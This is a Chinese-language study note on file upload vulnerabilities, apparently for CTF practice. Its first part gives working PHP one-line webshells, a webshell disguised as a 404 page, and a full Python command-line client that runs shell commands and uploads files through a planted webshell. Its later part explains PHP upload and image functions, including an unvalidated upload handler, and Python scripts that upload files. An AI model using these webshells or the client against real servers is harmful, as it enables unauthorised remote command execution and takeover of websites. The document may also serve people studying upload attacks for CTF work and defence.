文件上传漏洞手法总结

待学习的文章

文件上传漏洞总结(含原因+防御措施)+白名单+黑名单+内容、头+解析漏洞/修补方案_java文件上传黑名单白名单处理-CSDN博客

最新文件上传姿势一览 | CN-SEC 中文网

文件上传漏洞(绕过姿势) - 码农之家

文件上传漏洞全攻略:攻防与绕过实战 | CN-SEC 中文网

♪(^∇^*)欢迎肥来!文件上传漏洞总结 | Jatopos的博客

文件上传漏洞另类绕过技巧及挖掘案例全汇总-腾讯云开发者社区-腾讯云

https://xz.aliyun.com/news/7862

apache开启.htaccess及.htaccess的使用方法 - johnhery - 博客园

[【Web】文件上传相关例题wp_moectf 2022]what are y0u uploading?-CSDN博客

一句话木马

一句话木马基础

文件上传如果能上传目录,那么危害是非常大的了

所以我们最开始就研究php的一句话吧

我们先看看最简单的php一句话木马

1
2
3
<?php @eval($_POST['attack']);?>
<?php @eval($_REQUEST['cmd']);?> 这个是优先选择使用的
<?php @eval($_GET['cmd']);?>

这些都是些什么意思呢?

详细解释

  • @:PHP 中的错误抑制符,作用是忽略该语句可能产生的错误提示。这样即使执行过程中出现错误,服务器也不会返回具体的错误信息,增加了代码的隐蔽性,避免被管理员发现。
  • eval():PHP 的一个核心函数,功能是将传入的字符串当作 PHP 代码执行。这是整个木马的 “心脏”,正是这个函数让外部指令能够被服务器执行。
  • $_POST['attack']:PHP 的超全局变量,用于接收客户端通过POST方式提交的、名为attack的参数值。这里的attack是一个自定义的参数名,攻击者可以自行修改(如passcmd等)。

这样就可以知道一句话是啥意思了

如果没有@的话

会出现这样的错误

当未收到 attack 参数时

如果攻击者没有发送 POST 请求,或请求中不包含 attack 参数,$_POST['attack'] 会返回 NULL。此时 eval(NULL) 会触发错误:

1
2
Notice: Undefined index: attack in 文件名 on line 行号
Parse error: syntax error, unexpected end of file in 文件名(行号) : eval()'d code on line 1
  • 第一个错误是 “未定义索引 attack”,提示 $_POST 中没有 attack 这个参数。
  • 第二个错误是 eval() 执行空值时的语法错误,因为 NULL 无法作为有效代码解析。

可以看到上面写的一句话的密码都是字符串,有没有一种更加优雅的方式呢?

使用数字也是可以的

1
<?php @eval($_REQUEST[1]);?>

这样也是可以的

实验一下

网站目录下有一句话木马

img

img

注意我这里使用的是GET的方式

道理是一样的

所以我们尝试使用cmd这个GET参数

img

执行成功

所以这样就能理解这个一句话木马的用法了

但是这里有一个注意的地方,使用get接收参数的话利用起来有一个问题,就是不能使用工具连接了,什么哥斯拉,什么蚁剑,什么冰蝎啥的都不能连接了

当然不止是eval这一个危险函数

扩展常见的危险命令执行php函数

1
2
3
4
system
passthru
shell_exec
exec

这两个是直接在参数里面输入命令

接下来的就有一些麻烦了

1
2
3
4
header("Content-type:text/html;charset=gbk");
exec("ipconfig", $out);
echo print_r($out, 1);
echo shell_exec('ipconfig');

这里只做一个思路扩展,详细的学习php危险函数,需要具体的学习命令/代码执行漏洞

404马

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

如果能将这个上传上去的话别人访问之后显示的是一个标准的404页面

是可以执行一些有特定回显的函数,比如说phpinfo(),或者是使用有回显的函数配合命令执行

所以就是这个的限制就是需要使用有回显的函数执行

还有一个极大的限制这个木马利用了 /e 模式修饰符,该修饰符在 PHP 5.5.0 中被废弃,并在 PHP 7.0.0 中完全移除

所以使用这个的限制 PHP 4.3.0 到 PHP 5.4.x

木马原理简析:
preg_replace 的 /e 修饰符会将替换字符串作为 PHP 代码执行

img

所以使用起来很隐蔽,只是有很多限制而已

超级隐藏木马

1
<?php $_GET[a]($_GET[b]);?>

可以看到这个主要是使用两个GET传入参数

所以这个利用起来还是很简单的

img

使用post提交参数也是同一个道理

1
<?php $_POST[a]($_POST[b]);?>

img

自己的小工具

有时候做题目的时候只是想自己简单的连接一下或者是在一些只有命令行的界面里面也想使用webshell管理这个时候蚁剑啥的就变得不太方便了

于是就自己写了一个webshell管理小工具,纯命令行,使用python即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
#!/usr/bin/env python3
"""
极简命令行 webshell 管理工具(CTF 专用) [无状态 + 复用连接 + 超快版]
用法:
python3 ctfsh.py -u http://target.com/shell.php -p x
python3 ctfsh.py --url http://target.com/shell.php --password x
python3 ctfsh.py # 交互式输入
兼容 Linux / macOS / Windows
"""

import sys
import os
import re
import base64
import json
import http.client
import argparse
import signal
import time
from getpass import getpass
from urllib.parse import urlparse, urlencode

# Windows 下 readline 替代
try:
import readline
except ImportError:
try:
import pyreadline3 as readline
except ImportError:
readline = None

# ============ ANSI 颜色代码 ============
class Colors:
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
CYAN = '\033[96m'
MAGENTA = '\033[95m'
WHITE = '\033[97m'
BOLD = '\033[1m'
DIM = '\033[2m'
RESET = '\033[0m'

if sys.platform == 'win32':
import ctypes
kernel32 = ctypes.windll.kernel32
kernel32.SetConsoleMode(kernel32.GetStdHandle(-11), 7)

def color(text: str, color_code: str) -> str:
return f"{color_code}{text}{Colors.RESET}"

def print_info(msg: str):
print(color(f"[*] {msg}", Colors.BLUE))

def print_success(msg: str):
print(color(f"[+] {msg}", Colors.GREEN))

def print_error(msg: str):
print(color(f"[-] {msg}", Colors.RED))

def print_warn(msg: str):
print(color(f"[!] {msg}", Colors.YELLOW))

def print_debug(msg: str):
if DEBUG:
print(color(f"[D] {msg}", Colors.DIM))
# ======================================

# ============ 全局配置 ============
URL = ""
PASS = "x"
CWD = "/"
DEBUG = False
TIMEOUT = 10
MAX_RETRIES = 1
RETRY_DELAY = 0.2
USER_AGENT = "Mozilla/5.0"

# 环境缓存(全放客户端内存)
ENV_CACHE = {
"exec_func": "shell_exec",
"has_ob": False,
"tmp_dir": "/tmp"
}

# HTTP 连接对象(复用)
CONN = None
PARSED_URL = None
# ===================================

# ============ 命令行参数 ============
def parse_args():
global URL, PASS, DEBUG, TIMEOUT
parser = argparse.ArgumentParser(
description=color("极简命令行 webshell 管理工具 (CTF专用)", Colors.CYAN),
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
示例:
%(prog)s -u http://target.com/shell.php -p x
%(prog)s -u http://target.com/shell.php
%(prog)s
"""
)
parser.add_argument('-u', '--url', help='目标 webshell 地址')
parser.add_argument('-p', '--password', help='一句话木马密码')
parser.add_argument('-t', '--timeout', type=int, default=10, help='请求超时时间(秒)')
parser.add_argument('-d', '--debug', action='store_true', help='开启调试模式')
parser.add_argument('--version', action='version', version='%(prog)s 1.0')
args = parser.parse_args()

if args.url:
URL = args.url
if args.password:
PASS = args.password
if args.timeout:
TIMEOUT = args.timeout
if args.debug:
DEBUG = True
return args
# ====================================

def _ensure_connection():
"""建立或复用 HTTP 连接"""
global CONN, PARSED_URL
if CONN is not None:
try:
CONN.request("GET", PARSED_URL.path or "/")
CONN.getresponse()
return
except Exception:
CONN.close()
CONN = None

PARSED_URL = urlparse(URL)
scheme = PARSED_URL.scheme
host = PARSED_URL.hostname
port = PARSED_URL.port
if scheme == 'https':
CONN = http.client.HTTPSConnection(host, port, timeout=TIMEOUT)
else:
CONN = http.client.HTTPConnection(host, port, timeout=TIMEOUT)

def try_decode(data: bytes) -> str:
for enc in ['utf-8', 'gbk', 'gb2312', 'gb18030', 'latin-1']:
try:
return data.decode(enc)
except (UnicodeDecodeError, LookupError):
continue
return data.decode('utf-8', errors='ignore')

def send_payload(php_code: str, retry_count: int = 0) -> str:
"""通过复用连接发送载荷"""
global CONN # 必须放在最前面,后面才能使用 CONN

_ensure_connection()
path = PARSED_URL.path or "/"
if PARSED_URL.query:
path += "?" + PARSED_URL.query

body = urlencode({PASS: php_code}).encode()
headers = {
'User-Agent': USER_AGENT,
'Content-Type': 'application/x-www-form-urlencoded'
}

try:
CONN.request("POST", path, body=body, headers=headers)
resp = CONN.getresponse()
raw_bytes = resp.read()
return try_decode(raw_bytes)
except Exception as e:
if retry_count < MAX_RETRIES:
CONN = None # 可以在此处直接置空,global 已声明
time.sleep(RETRY_DELAY)
return send_payload(php_code, retry_count + 1)
raise e

def parse_response(text: str):
"""提取命令输出"""
m = re.search(r'__START_OUTPUT__\n(.*?)\n__END_OUTPUT__', text, re.DOTALL)
if m:
return m.group(1).strip()
else:
print_debug(f"解析失败: {text[:200]}...")
return None

def check_and_cache_env() -> bool:
"""首次连接时:探测环境、缓存最快执行方式,同时获取初始 CWD"""
global CWD
test_payload = '''
$f='shell_exec';$o='ALIVE';
if(!function_exists($f)){
if(function_exists('exec')) $f='exec';
elseif(function_exists('system')&&function_exists('ob_start')){$f='system';$ob=1;}
elseif(function_exists('passthru')&&function_exists('ob_start')){$f='passthru';$ob=1;}
else $f='none';
}
$ob=isset($ob)?1:0;
$env=json_encode(array('exec_func'=>$f,'has_ob'=>$ob));
$cwd=getcwd();
echo "__START_OUTPUT__\n".$cwd."|".$env."\n__END_OUTPUT__";
'''
try:
raw = send_payload(test_payload)
out = parse_response(raw)
if out is None:
return False
parts = out.split('|', 1)
if len(parts) != 2:
return False
CWD = parts[0]
env = json.loads(parts[1])
ENV_CACHE['exec_func'] = env.get('exec_func', 'shell_exec')
ENV_CACHE['has_ob'] = env.get('has_ob', False)
print_debug(f"环境缓存: {ENV_CACHE}, CWD: {CWD}")
return True
except Exception as e:
print_error(f"环境检测失败: {e}")
return False

def build_cd_payload(directory: str) -> str:
"""cd 命令:尝试切换目录并返回真实新路径"""
safe_dir = directory.replace("\\", "\\\\").replace("'", "\\'")
return f'''
@chdir('{safe_dir}')?$nd=getcwd():$nd='ERROR';
echo "__START_OUTPUT__\\n".$nd."\\n__END_OUTPUT__";
'''.strip()

def exec_cmd(cmd: str) -> str:
"""普通命令:用客户端维护的 CWD 直接执行"""
safe_cmd = cmd.replace("\\", "\\\\").replace("'", "\\'")
cmd_b64 = base64.b64encode(safe_cmd.encode()).decode()
func = ENV_CACHE['exec_func']
has_ob = ENV_CACHE['has_ob']

if func == 'shell_exec':
exec_line = "$o=@shell_exec($cmd);"
elif func == 'exec':
exec_line = "$a=array();@exec($cmd,$a);$o=implode(\"\\n\",$a);"
elif func == 'system' and has_ob:
exec_line = "ob_start();@system($cmd);$o=ob_get_clean();"
elif func == 'passthru' and has_ob:
exec_line = "ob_start();@passthru($cmd);$o=ob_get_clean();"
else:
exec_line = "$o='ERROR: no exec function';"

payload = f'''
@chdir('{CWD}');
$cmd=base64_decode('{cmd_b64}');
{exec_line}
echo "__START_OUTPUT__\\n".$o."\\n__END_OUTPUT__";
'''.strip()
return payload

def upload_file(local_path: str):
"""文件上传(利用客户端 CWD)"""
if not os.path.isfile(local_path):
return None, f"文件不存在: {local_path}"

file_size = os.path.getsize(local_path)
print_info(f"正在上传: {os.path.basename(local_path)} ({file_size} 字节)")
if file_size > 2 * 1024 * 1024:
print_warn("文件较大,可能超时")

with open(local_path, 'rb') as f:
content = f.read()

fname = os.path.basename(local_path)
fname_b64 = base64.b64encode(fname.encode()).decode()
data_b64 = base64.b64encode(content).decode()

if len(data_b64) > 500 * 1024:
return upload_file_chunked(fname, data_b64)

payload = f'''
@chdir('{CWD}');
$fname=base64_decode('{fname_b64}');
$data=base64_decode('{data_b64}');
if(function_exists('file_put_contents')){{@file_put_contents($fname,$data);$o="Upload OK: ".$fname;}}
elseif($fp=@fopen($fname,'w')){{@fwrite($fp,$data);@fclose($fp);$o="Upload OK: ".$fname;}}
else{{$o="Upload failed";}}
echo "__START_OUTPUT__\\n".$o."\\n__END_OUTPUT__";
'''.strip()
return payload, None

def upload_file_chunked(fname: str, data_b64: str):
"""分片上传"""
print_info("使用分片上传...")
chunk_size = 400 * 1024
total_chunks = (len(data_b64) + chunk_size - 1) // chunk_size

init_payload = f'''
@chdir('{CWD}');
$fname=base64_decode('{base64.b64encode(fname.encode()).decode()}');
@file_put_contents($fname,'');
echo "__START_OUTPUT__\\nINIT_OK\\n__END_OUTPUT__";
'''.strip()
try:
raw = send_payload(init_payload)
except Exception as e:
return None, f"分片初始化失败: {e}"
if 'INIT_OK' not in raw:
return None, "分片初始化失败"

for i in range(0, len(data_b64), chunk_size):
chunk = data_b64[i:i+chunk_size]
chunk_num = i // chunk_size + 1
print_info(f"上传分片 {chunk_num}/{total_chunks}...")

append_payload = f'''
@chdir('{CWD}');
$fname=base64_decode('{base64.b64encode(fname.encode()).decode()}');
$chunk=base64_decode('{chunk}');
$fp=@fopen($fname,'a');
if($fp){{@fwrite($fp,$chunk);@fclose($fp);$o="CHUNK_OK";}}
else{{$o="CHUNK_FAIL";}}
echo "__START_OUTPUT__\\n".$o."\\n__END_OUTPUT__";
'''.strip()
try:
raw = send_payload(append_payload)
except Exception as e:
return None, f"分片 {chunk_num} 上传失败: {e}"
if 'CHUNK_FAIL' in raw:
return None, f"分片 {chunk_num} 上传失败"

success_payload = f'''
@chdir('{CWD}');
echo "__START_OUTPUT__\\nUpload OK: {fname}\\n__END_OUTPUT__";
'''.strip()
return success_payload, None

def signal_handler(sig, frame):
print()
print_info("用户中断,正在退出...")
if CONN:
CONN.close()
sys.exit(0)

def main():
global URL, PASS, CWD, DEBUG, TIMEOUT, CONN

signal.signal(signal.SIGINT, signal_handler)
parse_args()

if not URL:
URL = input(color("请输入目标 URL: ", Colors.CYAN)).strip()
if not URL:
print_error("URL 不能为空")
sys.exit(1)

if len(sys.argv) == 1 or ('-p' not in sys.argv and '--password' not in sys.argv):
pwd_input = getpass(color("请输入一句话木马密码(默认 x): ", Colors.CYAN)).strip()
if pwd_input:
PASS = pwd_input

print()
print_info(f"目标: {URL}")
print_info(f"密码: {PASS}")
if DEBUG:
print_info(f"超时: {TIMEOUT}秒")
print()

print_info("正在连接并检测环境...")
if not check_and_cache_env():
print_error("连接失败,请检查 URL 和密码是否正确")
if CONN:
CONN.close()
CONN = None
retry = input(color("\n是否重新输入凭据?(y/n): ", Colors.YELLOW)).strip().lower()
if retry == 'y':
URL = input(color("请输入目标 URL: ", Colors.CYAN)).strip()
PASS = getpass(color("请输入一句话木马密码: ", Colors.CYAN)).strip() or "x"
main()
return
else:
sys.exit(1)

print_success("连接成功!")
print_info("输入命令执行,upload <本地文件> 上传,exit 退出")
print(color("-" * 50, Colors.WHITE))
print()

# 主循环
while True:
try:
prompt = f"{color('webshell', Colors.RED)} {color(CWD, Colors.CYAN)}{color('$', Colors.WHITE)} "
cmd = input(prompt).strip()
except (EOFError, KeyboardInterrupt):
print()
print_info("退出")
break

if cmd == "exit":
print_info("退出")
break
if cmd == "":
continue

if cmd == "help":
print(color("=" * 40, Colors.WHITE))
print_info("可用命令:")
print(f" {color('upload <文件>', Colors.YELLOW)} - 上传本地文件")
print(f" {color('debug', Colors.YELLOW)} - 切换调试模式")
print(f" {color('reconnect', Colors.YELLOW)} - 重新连接")
print(f" {color('help', Colors.YELLOW)} - 显示此帮助")
print(f" {color('exit', Colors.YELLOW)} - 退出")
print(color("=" * 40, Colors.WHITE))
continue

if cmd == "debug":
DEBUG = not DEBUG
print_info(f"调试模式: {'开启' if DEBUG else '关闭'}")
continue

if cmd == "reconnect":
print_info("重新连接...")
if CONN:
CONN.close()
CONN = None
if check_and_cache_env():
print_success("重连成功!")
else:
print_error("重连失败")
continue

try:
if cmd.startswith("cd "):
directory = cmd[3:].strip()
payload = build_cd_payload(directory)
raw = send_payload(payload)
new_cwd = parse_response(raw)
if new_cwd and new_cwd != 'ERROR':
CWD = new_cwd
else:
print_error("cd: 切换失败或目录不存在")
continue

if cmd.startswith("upload "):
local = cmd.split(" ", 1)[1]
payload, err = upload_file(local)
if err:
print_warn(err)
continue
else:
payload = exec_cmd(cmd)

raw = send_payload(payload)
output = parse_response(raw)

if output is None:
print_error("连接可能已断开或密码错误")
if CONN:
CONN.close()
CONN = None
retry = input(color("是否尝试重新连接?(y/n): ", Colors.YELLOW)).strip().lower()
if retry == 'y':
if check_and_cache_env():
print_success("重连成功!")
continue
break

if output:
print(output)
except Exception as e:
print_error(f"错误: {e}")
if DEBUG:
import traceback
traceback.print_exc()
if CONN:
CONN.close()
CONN = None

if CONN:
CONN.close()

if __name__ == "__main__":
main()

使用起来也是非常简单的

1
python3 exp.py -u http://xxx/shell.php -p xxx

我个人感觉这个脚本还可以健壮一点

这个代码只做了对一句话木马的适配

文件上传基础知识

一句话的快感已经体验完了,接下来就是漫长的开发相关的知识了

大家可以看看目录结构了解一下这个板块主要讲的是啥

php文件上传类

在这里会讲解在开发php文件上传的时候会遇到的php代码

substr()

截取字符串

1
substr(string $string, int $offset, ?int $length = null): string

第一个参数是要被截取的字符,第二个字符是从哪个位置开始,第三个字符是截取的长度

例子

1
2
3
4
5
<?php 
$str = "123456789";
echo substr($str , 0 , 3);//从左边第一位字符起截取3位字符:结果:123
echo substr($str , 3 , 3);//从左边第3位字符起截取3位字符:结果:456
?>

strrpos()

strrpos() 函数查找字符串在另一字符串中最后一次出现的位置。

1
2
3
4
5
6
7
8
9
10
<?php
echo strrpos("You love php, I love php too!","php");
?>
# 输出21

<?php
$a = 'hello world';
echo strrpos($a,'w')
?>
# 输出6

strrchr()

strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符

1
2
3
<?php
echo strrchr("Hello world!","world");
?>

像这个代码返回的是world!

define()

img

效果

1
2
3
4
<?php
define('m','niaho');
echo m;
?>

所定义的m是一个常量,不需要使用$

dirname()

1
dirname(string $path, int $levels = 1): string

第一个参数是文件路径,返回的是这个一个路径

1
2
3
4
5
6
<?php
$a = dirname('C:/phpstudy_pro/WWW/',1);
echo $a;
?>

# 输出C:/phpstudy_pro

第二个参数是可以控制返回目录的深度的

1
2
3
4
5
6
<?php
$a = dirname('C:/phpstudy_pro/WWW/',2);
echo $a;
?>

# 输出C:/

__file__

这个是一个魔术方法,表示的是当前文件的完整路径和文件名

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$a = dirname(__file__);
echo $a;
?>

#输出C:\phpstudy_pro\WWW\uploads
<?php
$a = __FILE__;
echo $a;
?>

# 输出C:\phpstudy_pro\WWW\uploads\index.php

$_SERVER[]

$_SERVER 是一个包含了如头信息、路径和脚本位置等信息的数组

在这里我们主要讲解

1
$_SERVER['DOCUMENT_ROOT']

代表了当前网站在服务器硬盘上的“根目录”的绝对物理路径

1
2
3
4
5
<?php
echo $_SERVER['DOCUMENT_ROOT'];
?>

# 访问页面后显示

image-20260524215004953

str_replace()

img

参数三种如果有参数一字符则替换为参数二

1
2
3
4
5
6
7
<?php
$a = 'nihao woshi explore';
$b = str_replace('explore','sb',$a);
echo $b
?>

# 输出nihao woshi sb

注意这个替换是不会改变原来字符的

对于这个代码还有一个兄弟str_ireplace

这个就是不区分大小写替换

file_exists()

很简单检查文件或者目录是否存在

1
file_exists(string $filename): bool

例子

1
2
3
4
5
<?php
$file = __FILE__;
echo file_exists($file);
?>
# 输出1

pathinfo()

1
2
3
4
5
6
7
8
pathinfo(path,options)
有两个参数
第一个参数是填写路径名字
第二个参数填写
PATHINFO_DIRNAME - 只返回 dirname
PATHINFO_BASENAME - 只返回 basename
PATHINFO_EXTENSION - 只返回 extension
PATHINFO_FILENAME - 只返回 filename

其中如果没有第二个参数的话,直接输出的是一个二维数组

1
2
3
4
5
6
7
8
9
10
11
12
<?php
print_r(pathinfo("/testweb/test.txt"));
?>

# 输出
Array
(
[dirname] => /testweb
[basename] => test.txt
[extension] => txt
[filename] => test
)

mkdir()

创建文件

1
mkdir(path,mode,recursive,context)

img

只需要关注这两个参数

$_FILES

这个是php的全局变量跟$_GET和$_POST一样,是一个全局变量

全局预定义变量 $_FILES 是一个关联数组,包含通过 HTTP POST 方法上传的项目,上传文件需要使用 HTTP POST 方法,并将 enctype 属性设置为 multipart/form-data

1
2
3
4
5
6
7
8
9
$_FILES['file']['name'] - 待上传文件的原始名称。

$_FILES['file']['type'] - 文件的 MIME 类型。

$_FILES['file']['size'] - 已上传文件的大小(以字节为单位)文件。

$_FILES['file']['tmp_name'] - 上传文件在服务器上存储的临时文件名。

$_FILES['file']['error'] - 与本次文件上传相关的错误代码。

这些是$_FILES是参数,注意注意一定是通过post切 enctype 属性设置为 multipart/form-data时$_FILES才有值

于是在这里介绍一个简易的文件上传html页面

1
2
3
4
<form action="index.php" method="POST" enctype="multipart/form-data">
<input type="file" name="file>
<input type ="submit" value="submit>
</form>

服务端php页面如下

1
2
3
4
5
6
7
<?php
echo $_FILES['file']['name'].'<br>';
echo $_FILES['file']['type'].'<br>';
echo $_FILES['file']['size'].'<br>';
echo $_FILES['file']['tmp_name'].'<br>';
echo $_FILES['file']['error'].'<br>'
?>

上传一个文件1.txt

页面输出

1
2
3
4
5
1.txt
text/plain
2503
C:\Windows\phpDA8F.tmp
0

扩展一下下面这个是error可能会出现的错误代码含义

1
2
3
4
5
0:上传成功 (UPLOAD_ERR_OK)。
12:文件太大了,超过了服务器或表单的限制。
3:上传不完整,文件只传了一半(可能是网络断了)。
4:没有选择文件,用户直接点了提交。
67:服务器配置错误(如临时文件夹找不到、无法写入磁盘)。

basename()

1
2
3
basename(path,suffix)
path 必需。规定要检查的路径。
suffix 可选。规定文件扩展名。如果文件有 suffix,则不会输出这个扩展名。

返回路径中文件名部分

运行

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$path = "/testweb/home.php";

//显示带有文件扩展名的文件名
echo basename($path);

//显示不带有文件扩展名的文件名
echo basename($path,".php");
?>

# 输出
home.php
home

move_uploaded_file()

move_uploaded_file — 将上传的文件移动到新位置

1
move_uploaded_file(string $from, string $to): bool

本函数检查并确保由 from 指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 to 指定的文件。
学到了这里就可以写一个简单的文件上传功能页面了

1
2
3
4
5
6
7
<?php
$a = dirname(__FILE__);
$file_name = $_FILES['file']['name'];
$pwd = './uploads/';
$target = $pwd.$file_name;
echo move_uploaded_file($_FILES['file']['tmp_name'],$target);
?>

php文件上传相关的函数差不多了,接下来就是有关php图片的函数了

php图片处理类

imagecreatefromjpeg()

该函数并非直接返回图片数据,而是将图片加载到内存后,返回一个用于后续操作的内存资源句柄(即图像标识符)

也就是为了后续使用这个图片命一个名字

1
2
3
4
5
6
<?php
$a = imagecreatefromjpeg('a.jpg');
echo $a
?>
# 输出Resource id #5
# 这个id就是图片的编号

这个函数有很多兄弟函数

1
2
3
4
5
6
7
8
9
10
11
12
imagecreatefromjpeg()	JPEG	PHP 4
imagecreatefrompng() PNG PHP 4
imagecreatefromgif() GIF PHP 4
imagecreatefromwebp() WebP PHP 5.4
imagecreatefrombmp() BMP PHP 7.2
imagecreatefromwbmp() WBMP PHP 4
imagecreatefromgd() GD 格式 PHP 4
imagecreatefromgd2() GD2 格式 PHP 4
imagecreatefromgd2part() GD2 局部 PHP 4
imagecreatefromstring() 二进制字符串(自动检测格式) PHP 4
imagecreatefromavif() AVIF PHP 8.1
imagecreatefromtga() TGA PHP 8.3

这个函数就是后面要逃脱的二次渲染函数

imagejpeg()

imagejpeg 是 PHP 中的一个内置函数,用于将图像输出到浏览器或文件。它可以将任何其他图像类型转换为 JPEG 并更改图像质量

这个函数有很多兄弟函数

1
2
3
4
5
6
7
imagejpeg()	输出/保存 JPEG 图像	JPEG
imagepng() 输出/保存 PNG 图像 PNG
imagegif() 输出/保存 GIF 图像 GIF
imagewebp() 输出/保存 WebP 图像 WebP (PHP 5.4+)
imagewbmp() 输出/保存 WBMP 图像 WBMP
imagebmp() 输出/保存 BMP 图像 BMP (PHP 7.2+)
imageavif() 输出/保存 AVIF 图像 AVIF (PHP 8.1+)

使用方法也差不多

1
2
3
4
5
imagejpeg($image, $filename, $quality);
imagepng($image, $filename, $quality);
imagegif($image, $filename);
imagewebp($image, $filename, $quality);
// ...
  • $image — GdImage 资源对象
  • $filename — 可选,保存的文件路径,不填则直接输出到浏览器
  • $quality — 可选,压缩质量(仅 imagejpeg()imagewebp()imageavif() 等支持)

getimagesize()

getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组

1
2
3
4
<?php
$img = getimagesize('1.png');
var_dump($img);
?>

返回的信息如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
array(6) {
[0] =>
int(1)
[1] =>
int(1)
[2] =>
int(3)
[3] =>
string(20) "width="1" height="1""
'bits' =>
int(8)
'mime' =>
string(9) "image/png"
}

这些参数的结果如下

1
2
3
4
5
6
7
索引 0 给出的是图像宽度的像素值
索引 1 给出的是图像高度的像素值
索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 <image> 标签
索引 bits 给出的是图像的每种颜色的位数,二进制格式
索引 channels 给出的是图像的通道值,RGB 图像默认是 3
索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如: header("Content-type: image/jpeg");

image_type_to_extension()

1
function image_type_to_extension(int $image_type, bool $include_dot = true): string|false

简单来说这个函数是跟上面的getimagesize联动的

1
2
3
4
<?php
$img = image_type_to_extension('2');
var_dump($img);
?>

注意这个函数里面的参数的意思跟getiamgesize的第二个参数是一样的

1
2
3
4
<?php
$img = getimagesize('a.png');
echo $img[2];
?>

exif_imagetype()

1
2
3
4
<?php
$img = exif_imagetype('a.png');
echo $img;
?>

这个函数是读取一个图像的第一个字节并检查其签名

所以即使修改了文件后缀名也没有用

输出结果

1
2
3
是 PNG 文件	3	IMAGETYPE_PNG
是 JPEG 文件 2 IMAGETYPE_JPEG
是 GIF 文件 1 IMAGETYPE_GIF

python脚本开发

这个不是开发文件上传功能的,而是写exp脚本的

文件上传

正常的request发包谁都会

在这里只讲post传输数据的时候说过file参数怎么写

1
2
3
4
5
    files = {
'file':('1.txt',f,'text/plain')
}
r = requests.post(url, files=files)
file参数就这么写

第一个是文件名,不一定是和你上传的文件名一样,第二个是文件对象用来存放数据的,第三个是mime类型

在这里扩展一下常见的mime类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
纯文本	.txt	text/plain
HTML .html, .htm text/html
CSS .css text/css
JavaScript .js, .mjs text/javascript
JSON .json application/json
PNG 图像 .png image/png
JPEG 图像 .jpg, .jpeg image/jpeg
GIF 图像 .gif image/gif
PDF 文档 .pdf application/pdf
ZIP 压缩包 .zip application/zip
Word 文档 .doc application/msword
Word 文档 (新版) .docx application/vnd.openxmlformats-officedocument.wordprocessingml.document
MP4 视频 .mp4 video/mp4
MP3 音频 .mp3 audio/mpeg

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = 'http://192.168.8.140:9988/index.php'
file_path = './1.txt'

with open(file_path,'rb') as f:
files = {
'file':('1.txt',f,'text/plain')
}
r = requests.post(url, files=files)
print(r.status_code)
re = requests.get('http://192.168.8.140:9988/uploads/1.txt')
print(re.text)

还有一种写法使用open(注意最后要.close())

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
url = 'http://192.168.8.140:9988/index.php'
try:
f1 = open('1.txt','rb')
file = {
'file':('2.txt',f1,'text/plain')
}

r = requests.post(url,files=file)
print(r.status_code)
print(requests.get('http://192.168.8.140:9988/uploads/2.txt').text)

finally:
f1.close()

生成图片

我们呢通常自己制作图片然后上传图片马,所以需要有自己手写图片生成代码的能力

下载库

1
pip install pillow -i https://pypi.tuna.tsinghua.edu.cn/simple/

一个简单的图片生成代码如下

1
2
3
4
5
from PIL import Image

img = Image.new('RGB', (200, 200), 'red')

img.save('a.png')

